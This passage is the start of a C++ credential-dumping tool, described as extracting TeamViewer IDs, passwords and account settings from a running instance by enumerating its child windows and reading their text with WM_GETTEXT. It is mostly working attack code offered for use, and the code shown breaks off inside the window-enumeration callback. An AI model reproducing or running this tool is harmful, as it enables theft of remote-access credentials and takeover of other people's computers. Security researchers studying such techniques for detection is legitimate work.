Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
int status = 0;
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}
if (strstr(BufferContent, "Allow Remote Control") != NULL)
{
status = 1;
printf("TeamViewer ID: ");